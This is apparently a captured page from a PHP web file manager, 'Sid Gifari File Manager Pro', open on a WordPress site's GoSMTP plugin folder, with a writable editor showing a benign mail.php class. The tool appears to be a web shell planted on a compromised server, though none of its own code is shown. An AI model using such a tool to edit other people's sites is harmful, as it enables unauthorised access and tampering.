🔐 Sid Gifari File Manager Pro
v8.0.5 | 2026-06-14 12:15:18 | PHP 8.1.34
📂
/ (Root)
/
home
/
therahul
/
ashish.therahuldas.com
/
wp-content
/
plugins
/
gosmtp
/
main
/
mailer
📍 /home/therahul/ashish.therahuldas.com/wp-content/plugins/gosmtp/main/mailer
🔄 Refresh
✏️
Editing: mail.php
Writable
<?php /** * Class GOSMTP_Mailer_Mail. * * @since 1.0.0 */ namespace GOSMTP\Mailer; use GOSMTP\Mailer\Loader; class Mail extends Loader{ var $title = 'Default'; var $mailer = 'mail'; /** * Override default mail send function. * @since 1.0.0 */ public function send() { global $phpmailer; $phpmailer->isMail(); if($phpmailer->preSend()){ try{ if($phpmailer->postSend()){ $response = [ 'status' => true, 'code' => 200, 'messageId' => '', 'message' => 'Mail sent successfully', ]; return $this->handle_response($response); } }catch( \Exception $e ){ return $this->handle_response(new \WP_Error(400, $e->getMessage(), [])); } } return $this->handle_response(new \WP_Error(400, 'Unable to send mail for some reason!', [])); } }
💾 Save Changes
❌ Cancel